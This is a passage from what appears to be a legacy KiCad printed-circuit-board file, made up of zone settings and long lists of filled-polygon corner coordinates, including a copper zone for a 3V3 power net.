43104 0 0\n62000 43104 0 0\n62149 43043 0 0\n62262 42929 0 0\n62324 42781 0 0\n62324 43946 0 0\n62200 43946 0 0\n62068 44000 0 0\n61690 44000 0 0\n61556 44027 0 0\n61442 44103 0 0\n61115 44430 0 0\n60684 44430 0 0\n60660 44406 0 0\n60660 40392 0 0\n60660 40209 0 0\n60590 40040 0 0\n60461 39910 0 0\n60292 39840 0 0\n60234 39840 0 0\n60150 39755 0 0\n60150 38850 0 0\n60190 38811 0 0\n60260 38642 0 0\n60260 38459 0 0\n60190 38290 0 0\n60061 38160 0 0\n59892 38090 0 0\n59709 38090 0 0\n59540 38160 0 0\n59410 38289 0 0\n59340 38458 0 0\n59340 38641 0 0\n59410 38810 0 0\n59450 38850 0 0\n59450 39900 0 0\n59477 40034 0 0\n59553 40147 0 0\n59740 40334 0 0\n59740 40391 0 0\n59810 40560 0 0\n59939 40690 0 0\n60108 40760 0 0\n60291 40760 0 0\n60460 40690 0 0\n60590 40561 0 0\n60660 40392 0 0\n60660 44406 0 0\n60597 44343 0 0\n60484 44267 0 0\n60350 44240 0 0\n60030 44240 0 0\n59991 44200 0 0\n59822 44130 0 0\n59639 44130 0 0\n59470 44200 0 0\n59340 44329 0 0\n59270 44498 0 0\n59270 44681 0 0\n59340 44850 0 0\n59469 44980 0 0\n59638 45050 0 0\n59821 45050 0 0\n59990 44980 0 0\n60030 44940 0 0\n60205 44940 0 0\n60292 45027 0 0\n60293 45027 0 0\n60406 45103 0 0\n60540 45130 0 0\n61260 45130 0 0\n61260 45129 0 0\n61394 45103 0 0\n61507 45027 0 0\n61834 44700 0 0\n62070 44700 0 0\n62183 44747 0 0\n62622 45187 0 0\n62623 45187 0 0\n62736 45263 0 0\n62870 45290 0 0\n63040 45290 0 0\n63169 45344 0 0\n63330 45344 0 0\n63479 45283 0 0\n63592 45169 0 0\n63654 45021 0 0\n63654 47950 0 0\n59214 47950 0 0\n59214 44801 0 0\n59214 44640 0 0\n59153 44491 0 0\n59039 44378 0 0\n58891 44316 0 0\n58876 44316 0 0\n58592 44032 0 0\n58592 43402 0 0\n58570 43291 0 0\n58507 43197 0 0\n56624 41314 0 0\n56624 39309 0 0\n56689 39283 0 0\n56802 39169 0 0\n56864 39021 0 0\n56864 38961 0 0\n56909 38943 0 0\n57022 38829 0 0\n57084 38681 0 0\n57084 38520 0 0\n57023 38371 0 0\n56909 38258 0 0\n56844 38230 0 0\n56844 38200 0 0\n56783 38051 0 0\n56669 37938 0 0\n56521 37876 0 0\n56360 37876 0 0\n56211 37937 0 0\n56098 38051 0 0\n56036 38199 0 0\n56036 38214 0 0\n55949 38128 0 0\n55801 38066 0 0\n55640 38066 0 0\n55491 38127 0 0\n55378 38241 0 0\n55316 38389 0 0\n55316 38550 0 0\n55377 38699 0 0\n55491 38812 0 0\n55558 38840 0 0\n55558 39942 0 0\n55205 40295 0 0\n55142 40389 0 0\n55120 40500 0 0\n55120 40740 0 0\n55142 40851 0 0\n55205 40945 0 0\n57850 43590 0 0\n57850 44410 0 0\n57872 44521 0 0\n57896 44556 0 0\n57896 44650 0 0\n57957 44799 0 0\n58071 44912 0 0\n58219 44974 0 0\n58380 44974 0 0\n58463 44939 0 0\n58467 44949 0 0\n58581 45062 0 0\n58729 45124 0 0\n58890 45124 0 0\n59039 45063 0 0\n59152 44949 0 0\n59214 44801 0 0\n59214 47950 0 0\n55549 47950 0 0\n55549 44109 0 0\n55549 43891 0 0\n55465 43689 0 0\n55311 43535 0 0\n55226 43500 0 0\n55311 43465 0 0\n55465 43311 0 0\n55549 43109 0 0\n55549 42891 0 0\n55465 42689 0 0\n55311 42535 0 0\n55109 42451 0 0\n54891 42451 0 0\n54689 42535 0 0\n54535 42689 0 0\n54500 42773 0 0\n54465 42689 0 0\n54311 42535 0 0\n54109 42451 0 0\n53891 42451 0 0\n53689 42535 0 0\n53560 42664 0 0\n53560 40592 0 0\n53560 40409 0 0\n53490 40240 0 0\n53450 40199 0 0\n53450 38586 0 0\n53510 38442 0 0\n53510 38259 0 0\n53440 38090 0 0\n53311 37960 0 0\n53142 37890 0 0\n52959 37890 0 0\n52790 37960 0 0\n52660 38089 0 0\n52590 38258 0 0\n52590 38441 0 0\n52660 38610 0 0\n52750 38700 0 0\n52750 40199 0 0\n52710 40239 0 0\n52640 40408 0 0\n52640 40591 0 0\n52710 40760 0 0\n52839 40890 0 0\n53008 40960 0 0\n53191 40960 0 0\n53360 40890 0 0\n53490 40761 0 0\n53560 40592 0 0\n53560 42664 0 0\n53535 42689 0 0\n53500 42773 0 0\n53465 42689 0 0\n53311 42535 0 0\n53109 42451 0 0\n52891 42451 0 0\n52689 42535 0 0\n52535 42689 0 0\n52500 42773 0 0\n52465 42689 0 0\n52311 42535 0 0\n52109 42451 0 0\n51891 42451 0 0\n51710 42526 0 0\n51710 41592 0 0\n51710 41409 0 0\n51640 41240 0 0\n51549 41148 0 0\n51549 34109 0 0\n51549 33891 0 0\n51465 33689 0 0\n51311 33535 0 0\n51109 33451 0 0\n50891 33451 0 0\n50689 33535 0 0\n50535 33689 0 0\n50500 33773 0 0\n50465 33689 0 0\n50311 33535 0 0\n50109 33451 0 0\n49891 33451 0 0\n49689 33535 0 0\n49535 33689 0 0\n49500 33773 0 0\n49465 33689 0 0\n49311 33535 0 0\n49109 33451 0 0\n48891 33451 0 0\n48689 33535 0 0\n48535 33689 0 0\n48451 33891 0 0\n48451 34109 0 0\n48535 34311 0 0\n48689 34465 0 0\n48845 34530 0 0\n48666 34530 0 0\n48604 34556 0 0\n48556 34604 0 0\n48530 34666 0 0\n48530 34734 0 0\n48530 34908 0 0\n48572 34950 0 0\n48900 34950 0 0\n48950 34950 0 0\n49050 34950 0 0\n49100 34950 0 0\n49428 34950 0 0\n49470 34908 0 0\n49470 34734 0 0\n49470 34666 0 0\n49444 34604 0 0\n49396 34556 0 0\n49334 34530 0 0\n49154 34530 0 0\n49311 34465 0 0\n49465 34311 0 0\n49500 34226 0 0\n49535 34311 0 0\n49689 34465 0 0\n49885 34546 0 0\n49878 34547 0 0\n49766 34593 0 0\n49735 34664 0 0\n50000 34929 0 0\n50265 34664 0 0\n50234 34593 0 0\n50102 34549 0 0\n50109 34549 0 0\n50311 34465 0 0\n50465 34311 0 0\n50500 34226 0 0\n50535 34311 0 0\n50689 34465 0 0\n50885 34546 0 0\n50878 34547 0 0\n50766 34593 0 0\n50735 34664 0 0\n51000 34929 0 0\n51265 34664 0 0\n51234 34593 0 0\n51102 34549 0 0\n51109 34549 0 0\n51311 34465 0 0\n51465 34311 0 0\n51549 34109 0 0\n51549 41148 0 0\n51511 41110 0 0\n51465 41090 0 0\n51465 35061 0 0\n51453 34878 0 0\n51407 34766 0 0\n51336 34735 0 0\n51071 35000 0 0\n51336 35265 0 0\n51407 35234 0 0\n51465 35061 0 0\n51465 41090 0 0\n51342 41040 0 0\n51265 41040 0 0\n51265 35336 0 0\n51000 35071 0 0\n50929 35142 0 0\n50929 35000 0 0\n50664 34735 0 0\n50593 34766 0 0\n50535 34939 0 0\n50547 35122 0 0\n50593 35234 0 0\n50664 35265 0 0\n50929 35000 0 0\n50929 35142 0 0\n50735 35336 0 0\n50766 35407 0 0\n50939 35465 0 0\n51122 35453 0 0\n51234 35407 0 0\n51265 35336 0 0\n51265 41040 0 0\n51159 41040 0 0\n50990 41110 0 0\n50860 41239 0 0\n50790 41408 0 0\n50790 41591 0 0\n50860 41760 0 0\n50989 41890 0 0\n51158 41960 0 0\n51341 41960 0 0\n51510 41890 0 0\n51640 41761 0 0\n51710 41592 0 0\n51710 42526 0 0\n51689 42535 0 0\n51535 42689 0 0\n51500 42773 0 0\n51465 42689 0 0\n51311 42535 0 0\n51109 42451 0 0\n50891 42451 0 0\n50689 42535 0 0\n50667 42557 0 0\n50465 42355 0 0\n50465 35061 0 0\n50453 34878 0 0\n50407 34766 0 0\n50336 34735 0 0\n50071 35000 0 0\n50336 35265 0 0\n50407 35234 0 0\n50465 35061 0 0\n50465 42355 0 0\n50265 42155 0 0\n50265 35336 0 0\n50000 35071 0 0\n49929 35142 0 0\n49929 35000 0 0\n49664 34735 0 0\n49593 34766 0 0\n49535 34939 0 0\n49547 35122 0 0\n49593 35234 0 0\n49664 35265 0 0\n49929 35000 0 0\n49929 35142 0 0\n49735 35336 0 0\n49766 35407 0 0\n49939 35465 0 0\n50122 35453 0 0\n50234 35407 0 0\n50265 35336 0 0\n50265 42155 0 0\n49952 41842 0 0\n49952 38702 0 0\n49951 38701 0 0\n49930 38591 0 0\n49929 38590 0 0\n49867 38497 0 0\n49866 38496 0 0\n49470 38100 0 0\n49470 35334 0 0\n49470 35266 0 0\n49470 35092 0 0\n49428 35050 0 0\n49050 35050 0 0\n49050 35428 0 0\n49092 35470 0 0\n49334 35470 0 0\n49396 35444 0 0\n49444 35396 0 0\n49470 35334 0 0\n49470 38100 0 0\n48950 37580 0 0\n48950 35428 0 0\n48950 35050 0 0\n48572 35050 0 0\n48530 35092 0 0\n48530 35266 0 0\n48530 35334 0 0\n48556 35396 0 0\n48604 35444 0 0\n48666 35470 0 0\n48908 35470 0 0\n48950 35428 0 0\n48950 37580 0 0\n48832 37462 0 0\n48832 37345 0 0\n48884 37221 0 0\n48884 37060 0 0\n48823 36911 0 0\n48709 36798 0 0\n48561 36736 0 0\n48400 36736 0 0\n48251 36797 0 0\n48239 36808 0 0\n48161 36776 0 0\n48000 36776 0 0\n47851 36837 0 0\n47738 36951 0 0\n47676 37099 0 0\n47676 37260 0 0\n47725 37380 0 0\n47676 37499 0 0\n47676 37660 0 0\n47737 37809 0 0\n47851 37922 0 0\n47999 37984 0 0\n48074 37984 0 0\n49048 38958 0 0\n49048 41542 0 0\n48374 42216 0 0\n48374 41086 0 0\n48374 40873 0 0\n48374 39128 0 0\n48374 38915 0 0\n48293 38718 0 0\n48142 38568 0 0\n47946 38486 0 0\n47733 38486 0 0\n47536 38567 0 0\n47386 38718 0 0\n47304 38914 0 0\n47304 39127 0 0\n47385 39324 0 0\n47536 39474 0 0\n47732 39556 0 0\n47945 39556 0 0\n48142 39475 0 0\n48292 39324 0 0\n48374 39128 0 0\n48374 40873 0 0\n48293 40676 0 0\n48142 40526 0 0\n47946 40444 0 0\n47733 40444 0 0\n47536 40525 0 0\n47386 40676 0 0\n47304 40872 0 0\n47304 41085 0 0\n47385 41282 0 0\n47536 41432 0 0\n47732 41514 0 0\n47945 41514 0 0\n48142 41433 0 0\n48292 41282 0 0\n48374 41086 0 0\n48374 42216 0 0\n48295 42295 0 0\n48232 42389 0 0\n48210 42500 0 0\n48210 44400 0 0\n48232 44511 0 0\n48295 44605 0 0\n48595 44905 0 0\n48689 44968 0 0\n48800 44990 0 0\n51300 44990 0 0\n51411 44968 0 0\n51505 44905 0 0\n51869 44540 0 0\n51891 44549 0 0\n52109 44549 0 0\n52311 44465 0 0\n52465 44311 0 0\n52546 44114 0 0\n52547 44122 0 0\n52593 44234 0 0\n52664 44265 0 0\n52929 44000 0 0\n52664 43735 0 0\n52593 43766 0 0\n52549 43897 0 0\n52549 43891 0 0\n52465 43689 0 0\n52311 43535 0 0\n52226 43500 0 0\n52311 43465 0 0\n52465 43311 0 0\n52500 43226 0 0\n52535 43311 0 0\n52689 43465 0 0\n52885 43546 0 0\n52878 43547 0 0\n52766 43593 0 0\n52735 43664 0 0\n53000 43929 0 0\n53265 43664 0 0\n53234 43593 0 0\n53102 43549 0 0\n53109 43549 0 0\n53311 43465 0 0\n53465 43311 0 0\n53500 43226 0 0\n53535 43311 0 0\n53689 43465 0 0\n53773 43500 0 0\n53689 43535 0 0\n53535 43689 0 0\n53453 43885 0 0\n53453 43878 0 0\n53407 43766 0 0\n53336 43735 0 0\n53071 44000 0 0\n53336 44265 0 0\n53407 44234 0 0\n53451 44102 0 0\n53451 44109 0 0\n53535 44311 0 0\n53689 44465 0 0\n53891 44549 0 0\n54109 44549 0 0\n54311 44465 0 0\n54465 44311 0 0\n54500 44226 0 0\n54535 44311 0 0\n54689 44465 0 0\n54891 44549 0 0\n55109 44549 0 0\n55311 44465 0 0\n55465 44311 0 0\n55549 44109 0 0\n55549 47950 0 0\n53265 47950 0 0\n53265 44336 0 0\n53000 44071 0 0\n52735 44336 0 0\n52766 44407 0 0\n52939 44465 0 0\n53122 44453 0 0\n53234 44407 0 0\n53265 44336 0 0\n53265 47950 0 0\n46550 47950 0 0\n46550 41645 0 0\n46556 41648 0 0\n46781 41648 0 0\n46989 41562 0 0\n47148 41403 0 0\n47234 41196 0 0\n47234 40971 0 0\n47148 40763 0 0\n46989 40604 0 0\n46782 40518 0 0\n46557 40518 0 0\n46550 40520 0 0\n46550 39479 0 0\n46556 39482 0 0\n46781 39482 0 0\n46989 39396 0 0\n47148 39237 0 0\n47234 39030 0 0\n47234 38805 0 0\n47148 38597 0 0\n46989 38438 0 0\n46782 38352 0 0\n46557 38352 0 0\n46550 38354 0 0\n46550 21550 0 0\n70450 21550 0 0\n70450 47950 1 0\n$endPOLYSCORNERS\n$endCZONE_OUTLINE\n$CZONE_OUTLINE\nZInfo 504D73CA 20 \"3V3\"\nZLayer 15\nZAux 6 E\nZClearance 200 T\nZMinThickness 100\nZOptions 0 16 F 120 200\nZSmoothing 0 0\nZCorner 60100 48000 0\nZCorner 60100 44800 0\nZCorner 70500 44800 0\nZCorner 70500 21500 0\nZCorner 46500 21500 0\nZCorner 46500 48000 1\n$POLYSCORNERS\n60703 44750 0 0\n60481 44750 0 0\n60379 44648 0 0\n60231 44586 0 0\n60070 44586 0 0\n59921 44647 0 0\n59808 44761 0 0\n59746 44909 0 0\n59746 45070 0 0\n59791 45179 0 0\n59791 45239 0 0\n59791 45439 0 0\n59816 45499 0 0\n59791 45560 0 0\n59791 45659 0 0\n59791 45859 0 0\n59829 45951 0 0\n59899 46021 0 0\n59990 46059 0 0\n60050 46059 0 0\n60050 47950 0 0\n52340 47950 0 0\n52340 46004 0 0\n52340 45892 0 0\n52298 45850 0 0\n52050 45850 0 0\n52050 46098 0 0\n52092 46140 0 0\n52136 46140 0 0\n52204 46140 0 0\n52266 46114 0 0\n52314 46066 0 0\n52340 46004 0 0\n52340 47950 0 0\n51950 47950 0 0\n51950 46098 0 0\n51950 45850 0 0\n51702 45850 0 0\n51660 45892 0 0\n51660 46004 0 0\n51686 46066 0 0\n51734 46114 0 0\n51796 46140 0 0\n51864 46140 0 0\n51908 46140 0 0\n51950 46098 0 0\n51950 47950 0 0\n51340 47950 0 0\n51340 46004 0 0\n51340 45892 0 0\n51298 45850 0 0\n51050 45850 0 0\n51050 46098 0 0\n51092 46140 0 0\n51136 46140 0 0\n51204 46140 0 0\n51266 46114 0 0\n51314 46066 0 0\n51340 46004 0 0\n51340 47950 0 0\n50950 47950 0 0\n50950 46098 0 0\n50950 45850 0 0\n50702 45850 0 0\n50660 45892 0 0\n50660 46004 0 0\n50686 46066 0 0\n50734 46114 0 0\n50796 46140 0 0\n50864 46140 0 0\n50908 46140 0 0\n50950 46098 0 0\n50950 47950 0 0\n46550 47950 0 0\n46550 41647 0 0\n46553 41647 0 0\n46556 41648 0 0\n46781 41648 0 0\n46783 41647 0 0\n46979 41647 0 0\n46991 41676 0 0\n47061 41746 0 0\n47152 41784 0 0\n47251 41784 0 0\n47501 41784 0 0\n47503 41783 0 0\n47505 41784 0 0\n47604 41784 0 0\n48174 41784 0 0\n48266 41746 0 0\n48336 41676 0 0\n48374 41585 0 0\n48374 41486 0 0\n48374 41086 0 0\n48374 41000 0 0\n48420 41010 0 0\n50285 41010 0 0\n50290 41011 0 0\n50290 41010 0 0\n50481 40972 0 0\n50482 40972 0 0\n50644 40864 0 0\n50653 40854 0 0\n50762 40692 0 0\n50801 40500 0 0\n50762 40308 0 0\n50686 40196 0 0\n56456 40196 0 0\n57009 40749 0 0\n56969 40789 0 0\n56931 40880 0 0\n56931 40979 0 0\n56931 41319 0 0\n56964 41399 0 0\n56931 41480 0 0\n56931 41579 0 0\n56931 41919 0 0\n56969 42011 0 0\n57039 42081 0 0\n57130 42119 0 0\n57229 42119 0 0\n57231 42119 0 0\n57231 42179 0 0\n57231 42519 0 0\n57269 42611 0 0\n57339 42681 0 0\n57430 42719 0 0\n57529 42719 0 0\n57869 42719 0 0\n57949 42685 0 0\n58030 42719 0 0\n58129 42719 0 0\n58469 42719 0 0\n58561 42681 0 0\n58631 42611 0 0\n58639 42590 0 0\n58810 42590 0 0\n58814 42599 0 0\n58781 42680 0 0\n58781 42779 0 0\n58781 43006 0 0\n56958 43006 0 0\n56131 42179 0 0\n56131 41303 0 0\n56229 41263 0 0\n56342 41149 0 0\n56404 41001 0 0\n56404 40840 0 0\n56343 40691 0 0\n56229 40578 0 0\n56096 40522 0 0\n56043 40391 0 0\n55929 40278 0 0\n55781 40216 0 0\n55620 40216 0 0\n55471 40277 0 0\n55358 40391 0 0\n55296 40539 0 0\n55296 40700 0 0\n55357 40849 0 0\n55380 40871 0 0\n55380 42358 0 0\n55402 42469 0 0\n55465 42563 0 0\n56111 43210 0 0\n55507 43210 0 0\n55549 43109 0 0\n55549 42891 0 0\n55465 42689 0 0\n55311 42535 0 0\n55109 42451 0 0\n54891 42451 0 0\n54689 42535 0 0\n54535 42689 0 0\n54500 42773 0 0\n54465 42689 0 0\n54311 42535 0 0\n54109 42451 0 0\n53891 42451 0 0\n53689 42535 0 0\n53535 42689 0 0\n53500 42773 0 0\n53465 42689 0 0\n53311 42535 0 0\n53109 42451 0 0\n52891 42451 0 0\n52689 42535 0 0\n52535 42689 0 0\n52500 42773 0 0\n52465 42689 0 0\n52311 42535 0 0\n52109 42451 0 0\n51891 42451 0 0\n51689 42535 0 0\n51535 42689 0 0\n51500 42773 0 0\n51465 42689 0 0\n51311 42535 0 0\n51109 42451 0 0\n50891 42451 0 0\n50689 42535 0 0\n50535 42689 0 0\n50500 42773 0 0\n50465 42689 0 0\n50311 42535 0 0\n50109 42451 0 0\n49891 42451 0 0\n49689 42535 0 0\n49535 42689 0 0\n49500 42773 0 0\n49465 42689 0 0\n49350 42574 0 0\n49350 42404 0 0\n49881 41873 0 0\n49889 41881 0 0\n49980 41919 0 0\n50079 41919 0 0\n50419 41919 0 0\n50511 41881 0 0\n50565 41827 0 0\n50596 41840 0 0\n50708 41840 0 0\n50750 41798 0 0\n50750 41773 0 0\n50781 41761 0 0\n50850 41692 0 0\n50850 41798 0 0\n50892 41840 0 0\n51004 41840 0 0\n51066 41814 0 0\n51114 41766 0 0\n51140 41704 0 0\n51140 41636 0 0\n51140 41592 0 0\n51098 41550 0 0\n50889 41550 0 0\n50889 41501 0 0\n50889 41450 0 0\n51098 41450 0 0\n51140 41408 0 0\n51140 41364 0 0\n51140 41296 0 0\n51114 41234 0 0\n51066 41186 0 0\n51004 41160 0 0\n50892 41160 0 0\n50850 41202 0 0\n50850 41308 0 0\n50781 41239 0 0\n50750 41226 0 0\n50750 41202 0 0\n50708 41160 0 0\n50596 41160 0 0\n50565 41173 0 0\n50511 41119 0 0\n50420 41081 0 0\n50321 41081 0 0\n49981 41081 0 0\n49889 41119 0 0\n49858 41150 0 0\n49760 41150 0 0\n49626 41177 0 0\n49512 41253 0 0\n48753 42013 0 0\n48677 42126 0 0\n48650 42260 0 0\n48650 42574 0 0\n48535 42689 0 0\n48451 42891 0 0\n48451 43109 0 0\n48535 43311 0 0\n48675 43451 0 0\n48651 43451 0 0\n48559 43489 0 0\n48489 43559 0 0\n48451 43650 0 0\n48451 43749 0 0\n48451 44349 0 0\n48489 44441 0 0\n48559 44511 0 0\n48650 44549 0 0\n48749 44549 0 0\n49349 44549 0 0\n49441 44511 0 0\n49511 44441 0 0\n49549 44350 0 0\n49549 44325 0 0\n49689 44465 0 0\n49891 44549 0 0\n50109 44549 0 0\n50311 44465 0 0\n50465 44311 0 0\n50500 44226 0 0\n50535 44311 0 0\n50689 44465 0 0\n50710 44473 0 0\n50710 44810 0 0\n50689 44819 0 0\n50619 44889 0 0\n50581 44980 0 0\n50581 45079 0 0\n50581 45419 0 0\n50619 45511 0 0\n50673 45565 0 0\n50660 45596 0 0\n50660 45708 0 0\n50702 45750 0 0\n50900 45750 0 0\n50950 45750 0 0\n51050 45750 0 0\n51100 45750 0 0\n51298 45750 0 0\n51340 45708 0 0\n51340 45596 0 0\n51327 45565 0 0\n51381 45511 0 0\n51419 45420 0 0\n51419 45321 0 0\n51419 44981 0 0\n51381 44889 0 0\n51311 44819 0 0\n51290 44810 0 0\n51290 44473 0 0\n51311 44465 0 0\n51465 44311 0 0\n51500 44226 0 0\n51535 44311 0 0\n51689 44465 0 0\n51710 44473 0 0\n51710 44810 0 0\n51689 44819 0 0\n51619 44889 0 0\n51581 44980 0 0\n51581 45079 0 0\n51581 45419 0 0\n51619 45511 0 0\n51673 45565 0 0\n51660 45596 0 0\n51660 45708 0 0\n51702 45750 0 0\n51900 45750 0 0\n51950 45750 0 0\n52050 45750 0 0\n52100 45750 0 0\n52298 45750 0 0\n52340 45708 0 0\n52340 45596 0 0\n52327 45565 0 0\n52381 45511 0 0\n52389 45490 0 0\n54800 45490 0 0\n54911 45468 0 0\n55005 45405 0 0\n55301 45108 0 0\n55360 45250 0 0\n55489 45380 0 0\n55658 45450 0 0\n55841 45450 0 0\n55948 45405 0 0\n55980 45419 0 0\n56079 45419 0 0\n56419 45419 0 0\n56499 45385 0 0\n56580 45419 0 0\n56679 45419 0 0\n57019 45419 0 0\n57111 45381 0 0\n57181 45311 0 0\n57189 45290 0 0\n57310 45290 0 0\n57319 45311 0 0\n57389 45381 0 0\n57480 45419 0 0\n57579 45419 0 0\n57919 45419 0 0\n57999 45385 0 0\n58080 45419 0 0\n58179 45419 0 0\n58471 45419 0 0\n58309 45581 0 0\n58081 45581 0 0\n58000 45614 0 0\n57920 45581 0 0\n57821 45581 0 0\n57481 45581 0 0\n57389 45619 0 0\n57319 45689 0 0\n57310 45710 0 0\n57189 45710 0 0\n57181 45689 0 0\n57111 45619 0 0\n57020 45581 0 0\n56921 45581 0 0\n56581 45581 0 0\n56500 45614 0 0\n56420 45581 0 0\n56321 45581 0 0\n55981 45581 0 0\n55960 45589 0 0\n55842 45540 0 0\n55659 45540 0 0\n55490 45610 0 0\n55360 45739 0 0\n55290 45908 0 0\n55290 46091 0 0\n55360 46260 0 0\n55489 46390 0 0\n55658 46460 0 0\n55841 46460 0 0\n55960 46410 0 0\n55980 46419 0 0\n56079 46419 0 0\n56419 46419 0 0\n56499 46385 0 0\n56580 46419 0 0\n56679 46419 0 0\n57019 46419 0 0\n57111 46381 0 0\n57181 46311 0 0\n57189 46290 0 0\n57310 46290 0 0\n57319 46311 0 0\n57389 46381 0 0\n57480 46419 0 0\n57579 46419 0 0\n57919 46419 0 0\n57999 46385 0 0\n58080 46419 0 0\n58179 46419 0 0\n58519 46419 0 0\n58611 46381 0 0\n58681 46311 0 0\n58719 46220 0 0\n58719 46121 0 0\n58719 45991 0 0\n59015 45695 0 0\n59078 45601 0 0\n59100 45490 0 0\n59100 45001 0 0\n59152 44949 0 0\n59214 44801 0 0\n59214 44726 0 0\n59420 44521 0 0\n59420 44520 0 0\n59421 44518 0 0\n59544 44396 0 0\n60480 44396 0 0\n60480 44441 0 0\n60550 44610 0 0\n60679 44740 0 0\n60703 44750 1 0\n61987 42647 0 0\n61912 42698 0 0\n61830 42780 0 0\n61824 42786 0 0\n61788 42750 0 0\n61660 42750 0 0\n61610 42750 0 0\n61510 42750 0 0\n61510 42650 0 0\n61610 42650 0 0\n61660 42650 0 0\n61788 42650 0 0\n61830 42608 0 0\n61830 42590 0 0\n61930 42590 0 0\n61987 42647 1 0\n62623 41726 0 0\n62614 41748 0 0\n62614 41867 0 0\n62614 42014 0 0\n62404 42014 0 0\n62323 41933 0 0\n62229 41870 0 0\n62118 41848 0 0\n59758 41848 0 0\n59619 41709 0 0\n59619 41560 0 0\n59741 41560 0 0\n59910 41490 0 0\n60040 41361 0 0\n60110 41192 0 0\n60110 41009 0 0\n60040 40840 0 0\n59911 40710 0 0\n59742 40640 0 0\n59559 40640 0 0\n59439 40689 0 0\n59420 40681 0 0\n59321 40681 0 0\n58981 40681 0 0\n58889 40719 0 0\n58819 40789 0 0\n58781 40880 0 0\n58781 40979 0 0\n58781 41319 0 0\n58814 41399 0 0\n58810 41410 0 0\n58339 41410 0 0\n58335 41400 0 0\n58369 41320 0 0\n58369 41221 0 0\n58369 40881 0 0\n58331 40789 0 0\n58301 40759 0 0\n59020 40040 0 0\n59410 40040 0 0\n59419 40061 0 0\n59489 40131 0 0\n59580 40169 0 0\n59679 40169 0 0\n60019 40169 0 0\n60111 40131 0 0\n60152 40090 0 0\n60160 40090 0 0\n60169 40111 0 0\n60239 40181 0 0\n60330 40219 0 0\n60429 40219 0 0\n60769 40219 0 0\n60849 40185 0 0\n60930 40219 0 0\n61029 40219 0 0\n61369 40219 0 0\n61461 40181 0 0\n61526 40116 0 0\n61656 40246 0 0\n61656 40320 0 0\n61717 40469 0 0\n61831 40582 0 0\n61979 40644 0 0\n62062 40644 0 0\n62062 40652 0 0\n62084 40763 0 0\n62147 40857 0 0\n62623 41333 0 0\n62623 41726 1 0\n62810 44292 0 0\n62688 44292 0 0\n62688 44405 0 0\n62700 44449 0 0\n62660 44490 0 0\n62030 44490 0 0\n62030 44442 0 0\n61988 44400 0 0\n61860 44400 0 0\n61810 44400 0 0\n61710 44400 0 0\n61710 44300 0 0\n61810 44300 0 0\n61860 44300 0 0\n61988 44300 0 0\n62030 44258 0 0\n62030 44206 0 0\n62017 44177 0 0\n62326 44177 0 0\n62348 44186 0 0\n62467 44186 0 0\n62688 44186 0 0\n62688 44192 0 0\n62735 44192 0 0\n62786 44213 0 0\n62810 44213 0 0\n62810 44292 1 0\n64892 43937 0 0\n64877 43937 0 0\n64813 43924 0 0\n64813 43915 0 0\n64813 43837 0 0\n64892 43837 0 0\n64892 43860 0 0\n64892 43914 0 0\n64892 43916 0 0\n64892 43937 1 0\n65419 40341 0 0\n64619 41141 0 0\n64588 41110 0 0\n64400 41110 0 0\n64400 41288 0 0\n64436 41324 0 0\n64430 41330 0 0\n64331 41428 0 0\n64299 41379 0 0\n64298 41378 0 0\n64290 41370 0 0\n64290 41298 0 0\n64300 41288 0 0\n64300 41160 0 0\n64300 41110 0 0\n64300 41010 0 0\n64400 41010 0 0\n64450 41010 0 0\n64588 41010 0 0\n64630 40968 0 0\n64630 40926 0 0\n64628 40923 0 0\n64671 40881 0 0\n64709 40790 0 0\n64709 40691 0 0\n64709 40491 0 0\n64706 40484 0 0\n64740 40451 0 0\n64810 40282 0 0\n64810 40169 0 0\n64908 40210 0 0\n65091 40210 0 0\n65260 40140 0 0\n65390 40011 0 0\n65419 39940 0 0\n65419 40341 1 0\n65925 44523 0 0\n65827 44565 0 0\n65790 44601 0 0\n65790 44488 0 0\n65790 44300 0 0\n65612 44300 0 0\n65570 44342 0 0\n65570 44394 0 0\n65596 44456 0 0\n65644 44504 0 0\n65706 44530 0 0\n65748 44530 0 0\n65790 44488 0 0\n65790 44601 0 0\n65641 44750 0 0\n65550 44750 0 0\n65550 44680 0 0\n65549 44679 0 0\n65523 44546 0 0\n65447 44433 0 0\n65447 44432 0 0\n65096 44081 0 0\n65158 44031 0 0\n65180 43987 0 0\n65209 43987 0 0\n65209 43924 0 0\n65282 43997 0 0\n65283 43997 0 0\n65396 44073 0 0\n65530 44100 0 0\n65572 44100 0 0\n65570 44106 0 0\n65570 44158 0 0\n65612 44200 0 0\n65740 44200 0 0\n65790 44200 0 0\n65890 44200 0 0\n65890 44300 0 0\n65890 44350 0 0\n65890 44488 0 0\n65925 44523 1 0\n70450 44750 0 0\n68858 44750 0 0\n68675 44566 0 0\n68400 44451 0 0\n68102 44451 0 0\n67827 44565 0 0\n67641 44750 0 0\n66858 44750 0 0\n66727 44618 0 0\n66789 44593 0 0\n66902 44479 0 0\n66964 44331 0 0\n66964 44210 0 0\n67091 44210 0 0\n67260 44140 0 0\n67390 44011 0 0\n67460 43842 0 0\n67460 43659 0 0\n67390 43490 0 0\n67261 43360 0 0\n67092 43290 0 0\n66909 43290 0 0\n66789 43339 0 0\n66770 43331 0 0\n66671 43331 0 0\n66577 43331 0 0\n66582 43328 0 0\n68165 41746 0 0\n68165 41745 0 0\n68206 41683 0 0\n68227 41652 0 0\n68228 41651 0 0\n68249 41540 0 0\n68250 41540 0 0\n68250 40367 0 0\n68309 40343 0 0\n68422 40229 0 0\n68484 40081 0 0\n68484 39920 0 0\n68423 39771 0 0\n68324 39672 0 0\n68324 39560 0 0\n68263 39411 0 0\n68164 39312 0 0\n68164 39200 0 0\n68103 39051 0 0\n68004 38952 0 0\n68004 38840 0 0\n67943 38691 0 0\n67844 38592 0 0\n67844 38480 0 0\n67783 38331 0 0\n67669 38218 0 0\n67539 38163 0 0\n67493 38051 0 0\n67379 37938 0 0\n67231 37876 0 0\n67070 37876 0 0\n66921 37937 0 0\n66808 38051 0 0\n66746 38199 0 0\n66746 38360 0 0\n66807 38509 0 0\n66860 38561 0 0\n66860 41080 0 0\n65917 42023 0 0\n65073 42023 0 0\n65052 42014 0 0\n64933 42014 0 0\n64786 42014 0 0\n64786 41794 0 0\n65914 40666 0 0\n65977 40572 0 0\n65999 40461 0 0\n65999 37910 0 0\n66171 37910 0 0\n66263 37872 0 0\n66333 37802 0 0\n66371 37711 0 0\n66371 37676 0 0\n68629 37676 0 0\n68629 37710 0 0\n68667 37802 0 0\n68737 37872 0 0\n68828 37910 0 0\n68927 37910 0 0\n69753 37910 0 0\n69845 37872 0 0\n69915 37802 0 0\n69953 37711 0 0\n69953 37612 0 0\n69953 37062 0 0\n69953 35939 0 0\n69953 35840 0 0\n69953 35290 0 0\n69915 35198 0 0\n69845 